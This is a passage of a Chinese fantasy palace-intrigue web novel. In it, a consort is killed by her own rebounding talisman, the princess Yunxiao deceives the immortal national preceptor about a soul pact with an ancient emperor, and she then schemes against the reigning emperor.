后宫无人能拦她,她也不再受制于人,她更甚至还有国师给她的可以将一个人毫无痕迹地抹杀的法宝,景妍也不再畏惧云绡。 她要做的就是替当初的自己报仇,将这个存在便是昭告全天下她委身于不爱之人甚至还生下了个孽障的耻辱,彻底消除。 可云绡现在是怎么回事?她一个人不好好地待在广茗宫内?趁着夜色独自朝外走,难道是有何不可告人的秘密? 景妍跟在了云绡身后,并未出现。 跟了半途景妍也发现了云绡的不对劲,她就像是个提线木偶一样,没了自己的意识,整个人轻飘飘地朝特定的方向过去,双眼虽睁着,却更像是在梦游。 越是跟着,景妍心中猜测越清晰,云绡走过去的方向恰好正对着神霄塔! 仲卿离开京都后神霄塔一直都是国师的居所,便是明日那位大人要见云绡,也是让云绡去神霄塔去面见他! 云绡深夜前往神霄塔,莫非是想提前和大人相见? 大人本就对她过多在意!景妍不会让他们碰面的!她不能让云绡看见那位大人!这世上就没有任何人,能抗拒得了那位大人的魅力! “云绡!” 景妍突然开口,孤身走在前头的云绡脚步一顿,这才像是被唤醒了魂魄一样缓缓转过身来看向景妍。 她的眼神露出一丝疑惑,而后是故作镇定。 景妍看见那张熟悉又陌生的脸,心中升起诡异的难堪,而云绡看向她的眼神更如同在看什么不入流的低劣之物,就像当初告诉她死期时一样。 “敏美人找我有事?”云绡故意如此称呼她,嘴角甚至带着嘲讽的恶劣的笑意。 她的一举一动都像是在侮辱景妍,提醒她如今的不堪。 她们完全不是母女,更像是死敌。而景妍也不知道眼前的少女究竟是从何时开始完全不受她的控制,明明之前还任打任骂,可她如今就像是完全变了一个人一样。 “你不用讥讽我,毕竟我只是想要活着。”景妍一步步朝云绡靠近:“之前我从未想过我的女儿居然会那么恨我,恨到要杀了我。” 她的声音放低:“我还记得你小时候的样子,也记得我喂过你母乳,你在我的怀中哭笑,而后一点点长大。云绡,你还记得你以前渴望我的拥抱,每次看向我的眼神吗?我在想我究竟做了什么罪大恶极之事,要你摒弃母女之情也要置我于死地。” 云绡对她这段话毫无所动。 景妍似是在自嘲:“也对,我对你不好,你恨我是应该的,但我也没主动加害过你……你究竟是从何时开始,变成了我完全不认得的样子?你又是从何时开始,于国师那里学会了反咒!甚至让国师对你另眼相待,要将你捧上圣女之位?!” 她看向与她越来越近的景妍,似乎完全没有察觉到危险的靠近,那张稚嫩的少女脸庞上露出了孤高自满的表情。 “国师?你说的国师是不是浑身披着黑色斗篷看不清面容的那人?那个人啊,我小时候就见过啦。” “景妍,你的确没有主动加害过我,可你的冷眼旁观更让我的童年充满了不安和痛苦,你带给我的伤害比那些兄弟姐妹们要多得多。 你问我,我究竟是何时变成你不认得样子?呵,其实你从来都没了解过我。从三岁你将我赶出你的宫中,让我和一个对我充满恶意的嬷嬷在那偏僻的小院共同生活时起,我就在做一个梦。 梦里很黑,很狭小,恶臭弥漫,我叫天不应,叫地不灵,谁也无法救我。还有一道鬼魅的声音一直在喊着我的名字,好像只要我应他一声,他就能彻底占据我的身体,把我变成行尸走肉。” 云绡在提起这些过往时,脸上有片刻的扭曲,像是又回到了被噩梦困住的可怕时刻:“每次醒来我都不敢再睡,所以我总是去找你,总是用你嫌恶的眼神看着你,我希望我的母亲能抱着我睡,或许这样就能驱赶梦魇。” 景妍放在身后的手已经捏紧了之前从国师那里获得的符,这还是上一次显帝赐死她而她差点儿没能活过来后,国师给她防身所用。 不论什么妖魔鬼怪,只要这一张符,对方就会灰飞烟灭。 她漫不经心地听着云绡说起那些她根本不在意的过往,突然云绡的话音就转了。 “你不是说,你想知道我为何改变吗?因为我后来接纳了那道声音!我从发出声音的梦魇里学到了许多东西,这让我变得强大,也让我知道,或许我就是天命所归最特殊的那个人,那道声音,未必不是上天对我的指引。他许我纵情一生,条件是死前最后一刻将身体交给他,我何乐而不为呢?” 云绡呵呵冷笑:“你猜,那道声音说他是谁?” 景妍手中的符已经蓄势待发,她距离云绡已经足够近,此刻已经完全听不见云绡说的话。 她愤恨地将手里的符朝云绡的身上按了下去,嘴里念出催动黄符的咒语,见那黄符簇然起了火焰,这才露出快意又扭曲的笑容,拼命对云绡嘶吼道:“你去死!你去死吧!” 谁在意她的童年有多困苦?谁在意她做了多少次噩梦?谁在意她听见了什么诡异的声音? 景妍要的,就是云绡的命!要她从此从世间消失! 只要云绡死了,只要自己对国师还有用,国师最终也只会无可奈何,而这世上,再也没有任何一个女人,能吸引国师的注意! 他仍然是那高洁的明月,若不能垂怜她,那就不能为任何人低头! 见那黄符燃烧起了云绡的衣裳,景妍发出痛快又狰狞的笑声,她抬头看向云绡,想要欣赏她的脸上如当初自己在得知被赐死时的惊恐和惧怕…… 可没有! 云绡的脸上没有半点害怕! 景妍盯着那张近在咫尺的脸,那张已经长得愈发标志的少女脸庞上只有默然和淡淡的讥讽,而她那双瞳孔里倒映着景妍扭曲的、丑陋的面容。 景妍看见了自己,也在下一瞬,看见了月色下如黑云罩来的身影。 身形高挑的黑衣人来得极为迅速,像是一阵飓风吹过,吹灭了贴在云绡身上的黄符,又将那道黄符卷了方向,轻飘飘地落在景妍的心口上。 景妍被他冲过来的一阵风击飞,摔出了几丈远,一口血还没来得及吐出便感受到了心头传来的炙热灼烧。她丢出去的黄符沁入了她自己的身躯,开始腐蚀她的血肉。 景妍恨毒了云绡,这张符是她最后的筹码,她得确 保云绡一定会死,而今她也没有回头之路。 可她的心中仍然升起了一丝期望,期望国师能够救救她! 景妍朝远处看去,只看得见云绡纤细的身影像是柔弱又无辜地躲在了全身上下都笼罩于黑色的男人身后,而那个面对着她的男人也只是冷淡地瞥了她一眼,在看清即将死去的是她时也没有半点怜惜之意。 他转过身,彻底背对着景妍,弓着腰背,温声细语地询问着云绡什么。 景妍要疯了,她崩溃了! 她从未见过国师弯腰,更没见过他离一个人如此之近。她听不见他们说了什么,他们甚至都没有再朝她投来一个眼神,就好像她从始至终都是什么无关紧要的人! 怎么会这样?怎么会这样?! 国师为何会在这里? 国师为何要救云绡,甚至连再给她一次机会也不愿意?! 景妍的身体腐蚀得越发厉害,她知道这张黄符只需要半盏茶的时间便让她尸骨无存,连尸体化作的血水也完全看不见! 她明明已经很痛了,可身上的疼远远不及心口上带来的疼痛。她觉得她此刻的窒息并不是因为黄符烧穿了她的肺腑,而是因为她才明白自己在国师的心里,毫无地位! 即便她从未见过他的相貌,即便他几乎不与她说话,可她仍然为他肝脑涂地,愿意成为他手中的利刃。为了给显帝下蛊,她把自己变得越来越丑恶难看,演了半生的戏。 可到头来,她也不是他手中的利刃,利刃……好歹曾经被他握在手中过。 盖在景妍身上的雪越来越多,她丝毫不觉得冷,反而因为五脏六腑被烧空的炙热,让她死亡的痛苦被无限拉长。 她孤零零地在月色下眼睁睁地看着自己的身体消失,她忍不住去回顾自己的一生,极为可笑又耻辱。 而景妍的一生,对于她追逐倾慕之人而言,何其短暂。 她也从未想过,自己这一次自作主张来找云绡,竟就是她的死期了- 直到景妍连尸骨都无存了,云绡也没给她一个眼神。 反而是眼前俯身用那双黑洞洞的眼睛朝她看来的人,更叫云绡需要悉心对付,半点也不能神游。 云绡露出适当的畏惧和忌惮,又强迫自己冷静下来。 她往后退出一步,噙着笑道:“许久不见啊,我该如何称呼你呢?国师?” 何舜并不在意云绡如何称呼他。 他满脑子响起的都是云绡刚才对景妍说的那番话。 景妍不在意她是如何度过童年的,何舜却无比在意!因为他在云绡的身上看见了太多次令他熟悉的感觉!正是因为太熟悉了,他才会在那一瞬设想,不拘于是男是女的话,是否眼前少女的身体是最适合君上之人! 方才云绡说了什么? 她说她如今会的,都是因为她孩童时期就已经听到了一道来自于她梦魇中的声音教给她的。 何舜一刹那就想起来他第二次见到云绡的时候,因为她身体里的那熟悉感,破例教她反咒。还有她方才仿佛被梦魇住了一样一直往神霄塔的方向走去。 原来一切都有迹可循! “你听见的那道声音,他是谁?!” 何舜的声音颤抖着。 云绡却倨傲地反问:“我又凭什么告诉你?” “说——!” 何舜露出来的双眸猩红。 云绡被他这嘶哑的低吼吓了一跳,愣怔道:“他说,他是曦帝人皇。” 第132章 听到了心中想要的答案,何舜有一瞬间的恍惚。许是两千多年来没日没夜的期盼在这一刻终于有了尘埃落定的趋向,他的心有片刻暂停了跳动。 何舜虽在显帝死后的绝大部分时间里都留在京都,他几乎每日都能看见神霄塔,却从未去过神霄塔下的禁地。 他不知要以何种身份和脸面去见钟离湛,他在害怕,没有十全的把握能给钟离湛找到合适的载体之前,他都不敢出现在钟离湛的面前。 所以直至此刻他才知道,原来君上的魂魄已经拥有了可以入梦,为自己寻找复活机会的力量了吗? 当初何舜会教云绡反咒,随手施恩,其实是这么多年来他早就形成了习惯了。 他习惯在大江南北寻找有朝一日能为君上所用的身躯,他知道君上为人为君都十分正直,他也知道这样的人的魂魄,无法在一个恶人甚至是寻常人的身上苏醒。所以何舜千年来,一直寻找的都是至纯至善之人。 谢尧钰曾是最适合的那个,他也在谢尧钰的身上耗费了太多心血,他将这么多年来他从尾人族那里获得的神鬼蛊存活下来的都用在了谢尧钰的身上,谢尧钰也的确活得远比常人要久得多,甚至青春永驻。 他的身体里有钟离氏的血脉,他一生行医救命功德加身,他甚至对何舜的计划都十分支持,甘心留在渡仙城中等待合适的时机奉献自己的身躯……本来一切都在往好的方向发展的。 可谢尧钰却半途反悔,多年经营在谢尧钰一心求死之下即将毁于一旦,让何舜不得不寻找下一个目标。 云绡也好,湖族的沈旨也罢,他们都是因为何舜在某一瞬从他们的身上看见了钟离湛片面的影子…… 何舜深知所有选择不能放在一处,可他几乎要走投无路了,他甚至想过如若他救不回钟离湛,那么这个破烂一样的世界大可以随着他的死一起消亡。 是的,他会死。 那些高高在上的天神们没有给他长生不老的能力,他们只是赋予了他如同曦族一样能够活到千年以上的寿命,可这不是长生,他活得已经够久了。 何舜也是很后来才知道,原来尘世间一切生灵不过都是他们的玩物,而他是最愚蠢的那颗棋子。 知道自己的死期,何舜就愈发焦灼,所以他后来在选择上不拘于男女,只要遇见可能的,便会制造和对方的机缘。 当年何舜在皇宫里无意间见到云绡时,才想起来这是他曾经有过一面之缘的孩子。他之所以会对云绡有印象也不是因为她是景妍的女儿,而是因为云绡出生那日京都的天出现了异象。 她出生的那天京都上空布满了红云,像是烈火焚烧,橙红色覆盖在雕梁画栋的亭台楼阁瓦片之上,从高处去看,整片城池都是金灿灿的。 天现异象,何舜当时就在京都。 他看着大片火烧云渲染之下的京都,回想起好像很久以前,在曦族东洲的传说中,钟离湛出生之期也出现过此类天景。 彼时的景妍根本没心思去管天现异象,她只知道自己为了生下这个孩子几乎九死一生,她耗尽力气后撕碎了何舜给她的符,因为她以为自己要死了,她想在死前见何舜一面。 景妍撕符后何舜便去了她的住处,他想要景妍在显帝的身上下神鬼蛊,可当时景妍尚未成功,她还有用,何舜又恰好就在京都。他见了景妍,也见到了她生下的孩子。 还在襁褓中的云绡不会哭,何舜对这个孩子也毫无兴趣,是她突然开口哭出声来时何舜从她的身上看到了一点力量,就像是窥见一个人人生高度的一瞬间。何舜恍惚地眨了一下眼,彼时窗外晚霞的最后余晖正洒在婴孩的脸上,她只哭了一声就停了。 再后来,景妍成功给显帝下蛊时何舜又一次来到皇宫,无意间看见了云绡。 她身上若有似无的气息像极了以前钟离湛走在何舜前头,而他微微屈身跟在他身后感受到的,炙热又迫人的感觉。 当时何舜不想要她死,他已经习惯成自然地想要留住这世上所有可能与复活钟离湛有关的事物,所以他教了她反咒,他只想着,此女子日后或许有用。 可他没想过,原来他在云绡身上察觉到的熟悉,是因为那个时候钟离湛已经入了她的梦境。 何舜很激动,也很紧张! 回忆被拉到了当下,何舜与云绡之间只有几步距离 ,他的目光自始至终都只在她的身上。 何舜想要从云绡的眼神中看出些破绽来,可他看见的是少女自以为被曦帝庇护的骄傲和得意,所以她才会那样张扬地天不怕地不怕。 所以她才会能够打碎他傀儡的术法。 所以……她离开京都后,一路往南,去了曦族! - “我知道你不相信,可我说的就是事实!”云绡被何舜方才的样子吓到了一瞬,但她很快又镇定了下来。 她自以为运筹帷幄的样子在何舜眼里几乎原形毕露,露出她所有的野心,和妄图仗势欺人的愚蠢。 “我看见了你的傀儡好几次呢,国师。”云绡到底是少女,只活了十多年,即便拥有足够她迅速成长的悲惨经历,可在一个活了两千多年的老妖精眼里,她仍然透明。 “是我揭露了你在若川做下的那些事,也是我看见了渡仙城存在的真正原因,我打破了你的计划,你是不是要痛恨我啦?”云绡抬眉露出笑容:“你要不要猜猜,我为何要这么做?” 何舜尽力地平复心中的激动,可他仍然感受到自己剧烈的心脏跳动。他不知道钟离湛究竟是什么时候恢复意识的,可他知道,云绡和钟离湛达成了交易。 他在她的梦境里教她术法,而她在她死后,要将身体交给他的魂魄。 这种做法是云绡想要编出来骗人也想不到的,因为这世上所有人都以为钟离湛是个无恶不作的杀神!只有何舜自己知道,他的君上,是真正的正人君子,他做不出掠夺他人性命为自己所用的恶事。 正是因为知道,所以何舜更是将云绡看似炫耀的话当了真,他已经有七分相信,钟离湛真的曾经给云绡托过梦。 可他不是正人君子,他曾经做错过的事,后来花了两千多年也一直在弥补,而此刻一个真正能够达成所愿的契机就摆在他的面前。 这极有可能是他寿限到来前,最后的机会。 所以,他才不会等到云绡死亡之前,再让钟离湛去抓住那个可能根本抓不住的一线生机。 他要做的是在云绡最好的年华里,将她的身体,献给君上。 - 云绡不满于何舜的沉默,她蹙眉高声道:“因为我听说过神鬼蛊!也知道你想要复活一个人!” 少女因为自己做下一件惊天动地的大事,忍不住就想要炫耀,她想看到国师的震惊和疑惑,而后她就能展现自己的聪明机智了。 云绡冷哼一声道:“景妍告诉我的,她有一天哭得很厉害,好似是喝多了,她说她恨我,因为我的出现让她永远也无法对她爱的人表露心迹,是我弄脏了她的人生,所以她要极力去帮助她所爱之人,达成他的心愿。” “她说她知道她爱的人想要成活的神鬼蛊,她猜测她爱的人是想复活某个人。我当时太小了,不知道什么是神鬼蛊,但我用你教给我的反咒敲开了神霄塔的大门,和仲卿仙师认得了。”云绡有些洋洋得意:“仲卿仙师告诉我,神鬼蛊之说出自曦族,传说中这个蛊可以让人成神。” 云绡看向何舜:“我在若川发现那么多白骨用于神鬼蛊时,就猜到了这件事或许就和景妍爱的男人有关。那个时候我虽然以为景妍已经死了,可只要是与她有关的事,我都不会让她痛快,死也要让她死后不得心安。 所以我设法让白骨暴露,叫你在若川待不下去!我也是看见你的傀儡时才知道,原来你就是景妍爱的人,我就想啊……你到底是要复活谁呢?” “到了渡仙城,见到了谢尧钰,我知道了,你想复活曦帝,那位人人畏惧传说中吃人不吐骨头的杀神!” 云绡的话音才落,便感受到了身边传来的视线。灼热的,带着几分探究好奇,还有些许看戏意味的暧昧…… 钟离湛是真心觉得,原来自己被云绡骗后去看她的脸,和看着其他人被云绡骗时她的表演,是完全不一样的感受。 她之前骗洛娥的时候是她一时兴趣,只要编织一个谎言,就能迷惑到本就已经神智不太清醒的洛娥。 可何舜不一样,钟离湛以前就知道他是人族中的人物,他的心性也非同一般,若非缜密的骗局,很容易就被他察觉出破绽。 云绡演得太像了! 甚至……她给自己设计的性格,还有对她一路行径的解释,更有她现在站在何舜面前的挑衅,全都形成了合理的逻辑。 她此刻就是一个年幼时不得人疼,在恐惧中长大又因缘际会得到机缘,获得力量长大后,向所有曾经她以为强大之人炫耀的、有几分聪明和野心又得意忘形的少女。 何舜也是这样看她的。 他沉默了这么久,才终于舍得开口:“你知道的还真多……那你杀了谢尧钰,难道也是因为憎恶景妍,想要破坏我的计划?还是你想说因为你心地善良,而谢尧钰一心求死?你,全他?” “我杀了谢尧钰,不是因为我心地善良,自然,不想让你好过占了一小部分的理由,谁叫那个时候我知道景妍还活着,而你是她爱的人……但更多是因为,这世上如果只有我是能让杀神苏醒的关键,那岂不是对我才更加有利?谢尧钰活着与我而言是威胁,他死了,你又想让杀神活,就只能来求我了。” 云绡又恢复了她的自鸣得意:“什么长生之术,我才不在乎!我不像云光憧一样那么蠢,也不打算当个活得越来越久青春永驻的傀儡,当一百年的傀儡皇帝,和当一千年的傀儡皇帝,活越久越痛苦。” “我……这辈子都没真正体会过人上人的生活,我要当帝王,没有任何拘束的帝王!我要的,是连你这个国师都得听命于我。” 云绡说完,双眼直勾勾地看着何舜黑洞洞的眼睛,等待他的回答。 她自以为拿捏住了何舜的把柄,却不知何舜有一百种让她的魂魄死了,身体还活着的方法。 但……现在还不是时候。 “你很聪明。”何舜虽然看穿了云绡,却也不得不承认,一个十几岁养在深宫被人欺负不得宠的女子,能挣脱枷锁的束缚和皇城牢笼,让自己变成如今这样敢直面他,还与他谈条件的样子,她的确是聪明的。 云绡得到何舜夸赞,脸上有那么一瞬间的别扭,随即她眼神闪烁,想要看看何舜这句夸赞是否是反讽。 何舜没再看她,他只是回答云绡:“你会得到你想要的。“ 说完这话他就走了。 这一次夜风里传来的味道干净清冽很多,没有焦枯的苦涩,云绡站在月色下静默了许久才朝景妍死掉的方向投去一眼。 那里什么都不剩,景妍被那张符烧得连灰都没有,云绡甚至都不能准确地找到她死掉的那块土地。 不过这回人是真的死了,当着她的面死得透透的,那就不枉她大半夜跑出来吹冷风。 她给景妍安排的死法还是与当初的一样。 当初云绡以为景妍爱显帝,所以借由显帝的手赐死景妍是对她的折磨,而今她确认景妍倾慕何舜,那么让何舜杀死她…… “嘶,不对!”云绡蹙眉,撅着嘴对钟离湛道:“让她死在何舜的手里,岂不是奖励她了?就该让她死在我的手上!” 钟离湛见她突然说出这句话,愣了瞬,失声一笑:“你就不怕这次何舜也在偷摸地看向这边?” 云绡抿着嘴笑,她抬起了自己的右手,此刻她的右手被钟离湛的手掌牢牢包裹在其中,他也从一开始离云绡的两步距离,近到胸膛贴着她的胳膊。 他在用他的魂魄温暖她的寒夜,告诉她周围是安全的,她可以放松地倚靠他。 云绡就着这个抬起钟离湛手的姿势,垂下脑袋在他的手腕上深嗅了一口。 她叹道:“哥哥,夸我聪明这件事,还是你说好听,他刚才差点儿把我说吐了呢。” 钟离湛回忆起方才云绡有一瞬古怪的反应,心道原来如此。 以她对何舜的厌恶和恶意,还要她欣然接受何舜的赞许,简直是为难她了。 第133章 云绡可不想再在外头吹冷风了,她拉着钟离湛便往广茗宫走,经过景妍的死地时她也没有再多看一眼。 反倒是回到广茗宫,卧在柔软的被褥里,抱着暖烘烘的钟离湛后云绡才像是突然想起了什么般,突然开口说了句:“我觉得景妍可能也不是真的爱何舜。” 云绡沐浴后香香的,身上也终于被捂暖和了。她乖巧地搂着钟离湛的腰,而钟离湛的手正贴着她的后背一遍遍抚摸哄她睡觉呢,眼看着那双大眼睛闭上就要睡着了,突然云绡就清醒了过来,还问了他一句这样的问题。 钟离湛的眉头微微蹙起了一瞬又很快松开。 人都死透了,爱不爱的又有何重要? 钟离湛还是回应了她:“嗯,至少她不是主动去爱的。” 听到钟离湛肯定的回答,云绡才算心满意足地睡了过去。 这样才对嘛,她以为她爱着何舜,但其实她为了一个非她自己主动所爱之人舍去了自己的一生,死得凄惨,这才符合云绡给景妍安排的结局。 景妍之所以会被何舜迷惑,是因为何舜身上拥有云端之上白色巨人赐予他的属于五族的力量,而旖族的特殊力量便是迷惑他人,轻易被人爱上。 景妍对何舜所有的痴迷,源自于何舜身上属于旖族的那份特殊,而如今的他本人,不值得任何人为他倾心。 云绡熟睡了过去,钟离湛安抚在她背后的手却一直没停。 今夜她说的所有话,在何舜面前露出的所有表情,包括她方才明明都快睡着了还要突然提起一遍关于何舜的事……这些全都从钟离湛的脑海中闪回。 钟离湛望着近在咫尺的脸,嗅着云绡呼出的带着温度的气息,没忍住在她的额心落下温柔一吻,可他的内心远不似表现出来的那么平和。 钟离湛的心跳很快,因为他才发现自己竟然也会对某些本应寻常的事,荒唐地生出一股难以言说的不满。 他不喜欢云绡在何舜面前演戏时为了取信他,还要双眸长时间地盯着何舜看。 他也不喜欢云绡对何舜说出那句,她要他也听她的话。 他更不喜欢何舜夸她聪明,即便她是真的聪明,也不许他说。 其实钟离湛的心在听到何舜夸赞云绡的那一瞬就像是被一只手掌捏了一下,他当时瞥开眼神没去看何舜,因为他怕自己朝何舜看去的那一眼杀意戾气太重,会被何舜察觉到什么,从而破坏了云绡的计划。 就在刚才云绡连熟睡前都要提一嘴何舜,提的,恰好是钟离湛不满的地方。 他知道何舜拥有五族的力量,自然也知道景妍对何舜接近疯魔的迷恋很大可能是因为何舜有旖族的神力,他若是想,便可以让这世上任何一个女子为他倾心。 钟离湛知道云绡不会受他的蛊惑,却也还是不喜欢她为他付出太多心思,耗费太多心神,哪怕那些都是谎言。 不光是何舜,便是这世上除了他以外的任何一个人,都不能夺走云绡原本应当属于他的眼神,一分一毫都不行! 以前钟离湛一直觉得云绡满到要溢出来的独占欲是因为她从小缺爱,她没获得过什么,所以才会因为害怕失去而将所有她能抓住的,包括情感,死死占有。 钟离湛是在爱意里长大的,他从不觉得自己在感情上有任何缺失,他甚至之前还教过云绡要如何去对待爱意,偏偏如今他也生出了强烈的独占欲。 他从来都知道云绡聪明,知道她的优秀和亮点,也想让她能走到更高更远,扶摇直上。而此刻他有些私心地不想她站在大众面前,不想让所有人看见她的好,他想要完整地拥有她的一切,包括眼神,也包括她的欺骗。 钟离湛的唇离开了云绡的额头,他长长舒出了一口气,嘴角扬起一抹略微苦涩的笑意,也有些无力。 他太贪心了。 明明他的绡绡回到京都是为了他,如今身涉险境哄骗何舜也是为了他,明明他就将云绡抱在怀里,可还是会不安。 甚至于钟离湛生起了丝可笑的念头,如若他真的能像云绡说的那样,进入她的梦中就好了,这样他还能占据她的梦,每天多看她两眼。 人的欲望,真是可怕啊,悄无声息地滋生,待到发现时已成庞然。 钟离湛心想,还好他当初与天对峙时并未真的认得了云绡,否则他的软肋轻而易举暴露在云上巨人的眼前,他也就不知道自己是否还能坚定地牺牲一切。 胡思乱想,于云绡熟睡间亲昵地蹭了一下他的肩头,寻找一个更舒适的睡姿而打散。 云绡没睁眼,但带着熟睡时软糯的声音从他的怀里传来:“你在想什么?” 钟离湛不知她是醒了还是在说梦话,他没开口,而后又听见云绡道:“你的心跳很快,哥哥,都把我吵醒了。” 钟离湛恍惚了一瞬,他抚着云绡的发丝,安抚她,一时没有说话。 他不知要如何解释自己方才的恶劣想法,人在自己未知把握之刻,便容易钻牛角尖,道理他懂,可感情就是有能将一个从来理性的人变成患得患失的力量。 恰是因为钟离湛现在什么都做不了,所以云绡越是在旁人面前光彩四射,他的心就越乱。 云绡很敏锐地发现这片刻沉默里,钟离湛的心跳节奏又有了变化。 他有心事? 瞌睡全都没了,云绡终于睁开眼,抬起头往上蹭了蹭。她的鼻尖蹭过钟离湛的下巴,嘴唇几乎贴着他的喉结道:“是不是很期待啊?” 钟离湛一时没能理解她这句问话的意思:“期待?” “嗯!我的计划在稳步进行哦,哥哥,相信不久之后我就能把你的身体从禁地里带出来,所以我其实也很期待呢。”云绡的声音仍然是困顿的柔软,她说话时嘴唇一张一合地吻着他的喉结,像是小猫爪挠着钟离湛的下颌。 钟离湛的喉头滚动了几下,云绡似乎是觉得有趣,张嘴咬了上去。 她没用力,却听见了钟离湛类似痛苦、又像愉悦的一声闷哼。 就像是偷了腥的小猫儿似的,云绡发出了短促的笑声,又道:“原来你喜欢我咬你这儿。现在我更期待了,咬你的身体,一定比咬灵魂更有意思。” 钟离湛的呼吸漏了一拍,他将怀里的少女抱得更紧一些,在这一瞬他也不想去想这样抱着云绡会不会将她拥疼。 他的心跳仍然是紊乱的,快到像是要从喉咙里跳出来了一样。 可那股不安被奇异地安抚,因为她做的每一件事,提出的每一个设想,哪怕是困倦里的一句安慰,都拥有和他的将来。 所以钟离湛回答云绡:“嗯,我也期待。” - 云光憧等了一整夜也没等到景妍 归来,次日早朝时他心中惴惴不安。 神情不属地度过了早朝,云光憧迫不及待地回到了景娴殿,期望能听见好消息。 景娴殿外守着的人看见云光憧来时默不作声地跪地,跟在云光憧身后的福营觉得奇怪,可还没等他察觉出诡异在什么地方时,云光憧便已经看见了早早在景娴殿内等着的人了。 云绡摘下了狐裘披在正中间的美人榻上,她一袭橙红色的长裙端坐在狐裘上,面前放着取暖的火炉内正在烧一些绫罗绸缎和纸张物件,都是外头难得一见的珍品,她还颇为嫌弃。 见云光憧来了,云绡终于将皱着的眉头蹙得更紧,但人松了口气:“你终于来了,可叫我好等啊!” 云光憧愣怔了瞬,他不可置信地看向云绡,心中震惊的同时,身后那扇门砰地一声被人关上,巨大的声响叫云光憧惊醒。 福营吓得魂不守舍,却还是拦在了云光憧的面前,结结巴巴地对云绡说了句:“大胆!” 云绡嗤了声:“我还有胆子更大的时候呢。云光憧,我有话要和你说,你只管听着就是,若非不便在其他地方和你见面我也不会选在这儿,这地方真臭!” 她来景娴殿一眼就看出这里就像是云光憧为景妍精心打造的鸟笼,里面的一切布置都是为了那种事服务。云绡见过景妍是如何用自己身体讨好显帝的,自然也就能从这些摆设的东西里看出,有哪些是曾用在她身上的。 脏啊,脏得云绡无从下脚,等得久了,只能牺牲自己的狐裘才能勉强坐一会儿。 想到这儿,云绡对云光憧理所当然道:“对了,你要赔我一件狐裘啊。” 云光憧瞪大了双眼,心口砰砰直跳。 景妍没回来!云绡却来了!那昨夜景妍去找云绡恐怕没落到好,说不定现在她人已经被云绡控制住了! 可为何? 为何他曾经那个柔弱可怜的皇妹,竟有如此本事,才来一天就像是不怕死也不畏惧他这位天子,敢在他的皇宫如此行径! 云光憧此刻从她的身上感受到了如同曾经在国师那里感受过的恐惧,他直觉云绡此番找他绝非什么好事。 云绡若知道他心中所想,一定要反驳。 错了!她还真是为了一件大好事来的。 “你可知,你现在做的事,说的话,全都是杀头的大罪!”云光憧尽力稳住心神,怒斥道:“你马上就要去面见国师,我就不追究你的过错,现在立刻离开这里,回到你的广茗宫中去!” 云绡看他的眼神如同在看一个傻子,她扯了一下嘴角道:“国师?你还真信他啊?” 云光憧心下重重一跳:“你这话是何意思?” 云绡朝云光憧的身后某处看去,开口道:“你来解释给他听吧。” 云光憧顺着她的视线转身,看见了景娴殿的屏风后头逐渐走出了一个熟悉的人影,对方没有穿紫色的道袍,云光憧恍惚了会儿才认出眼前之人是仲卿仙师。 仲卿仍然是那副仙风道骨的模样。 自从学着云绡面对司徒音璃他都能说出弥天大谎之后,眼下的仲卿已然脱胎换骨,谎言张口就来,更何况他还提前和徐容靳排演过。 “参见陛下。”仲卿对云光憧虽然看不上,但对方的确是皇帝,他就算胆子再大也没有云绡那样不见礼的厚脸皮。 仲卿的名声在京都众人的心中也算根深蒂固,云光憧对他本能地生出几丝敬重。 仲卿道:“不知陛下可知,先帝之死并非三殿下所为。” 云光憧一惊:“不、不对!三弟当时已经认罪,是他恨父皇连罪于他,也恨逍遥王和云绡,连带对你也生了憎恨,所以才会谋划杀死父皇,想要谋朝篡位。” 仲卿摇头,他叹了口气道:“先帝死时本座就在跟前,先帝是死于蛊虫,而这蛊正是如今神霄塔那位所为,就连十一殿下的生母也是他安插在宫中的。” 云光憧冷哼一声:“你当你说得这些蠢话孤会信吗?!” “他是不是许了陛下长生?这也不过是为了控制陛下的手段之一,若他真的想要为陛下保住皇位,又为何不告诉陛下其实京都就有真正的长生之法?”仲卿直接丢出一记重磅:“陛下,长生之法就在神霄塔下,塔下埋着两千余年前的杀神尸骨,那才是真正的长生不死之躯,陛下请的新国师,也是为此而来的。” 第134章 云光憧的表情就像是仿佛听到了什么笑话一样。 杀神? 他是在说杀神就在神霄塔下?那个历史中两千多年前就已经死去的人物? 那不过是个传说罢了。 云光憧抽搐着嘴角还没等他笑出声,仲卿便接着道:“陛下不相信?陛下若不信这世上有杀神,又为何会相信这世上有长生之术?既有长生,那传说中便不再是传说,更何况他的确存在历史里。” 云光憧闻言,尚未扬起嘴角的笑容已经收敛、僵硬,他的眼神越来越凝重,内心也愈发矛盾。 是啊,他的确相信这世上有长生之术,若信长生,怎就不信这世上曾真的有过杀神? 云光憧无法反驳仲卿,可他也无法劝说自己立刻相信这他听起来十分可笑荒唐的话。 “证据呢?” 过了很久,他也才问出这句话。 “皇兄要证据?”云绡开口:“将神霄塔推倒,天祭台挖开,你就能看见你想要的证据了。” “呵!云绡!是你疯了还是我疯了?我怎么可能因为你们口头上的一句话就将神霄塔推翻?若真这样做,天下人如何看我?”云光憧像是抓住了云绡诓骗他的目的道:“所以你就是要我错事,你才好用我的错处拿捏我!你当我那么好骗的?!” 云绡被他瞪着,不怒反笑:“皇兄何必这么激动?我又没让你即刻推翻神霄塔,如若神霄塔下无长生的秘密,那推翻它也不过是推翻一栋建筑而已,若有,你向如今住在那儿的国师提,他会有何反应?” 云光憧愣怔了瞬,反应过来:“你是说,让我在国师面前提出这个决定,是为了试探他。” 云绡点头:“你还不算太蠢,皇兄。” 云光憧的心突然开始怦怦乱跳,激动了起来,此时他也顾不得云绡骂他蠢了! 和景妍纠缠,诚然也有景妍让他惬意和快乐的原因,但更大的原因是因为景妍带来了国师,而国师可以许他长生不老。 这些话他从未对外说过,甚至朝堂之上都无人知晓后宫得宠的敏美人就是先帝的妃子,是如今他们即将捧为圣女的十一公主的亲生母亲! 那云绡又是如何知晓景妍和国师的关系的?景妍告诉她的? 景妍与云绡不是死敌吗?又如何会告诉云绡这些? 云绡似是看出了云光憧的疑虑,她朝云光憧笑了一瞬道:“你是不是在猜测我为何会知晓这些?呵,这些都得多亏你了皇兄,是你将这样的惊天秘密送到我跟前的!” 云光憧还没反应过来,一旁的福营却明白了,他在云光憧耳侧低语,云光憧立刻惊恐地看向云绡。 昨夜景妍去找云绡,一夜未归,今日云绡便出现在了景娴殿内等着他,还对他说这么多,难道是因为…… “景妍死了?”云光憧问云绡:“你杀了她?” 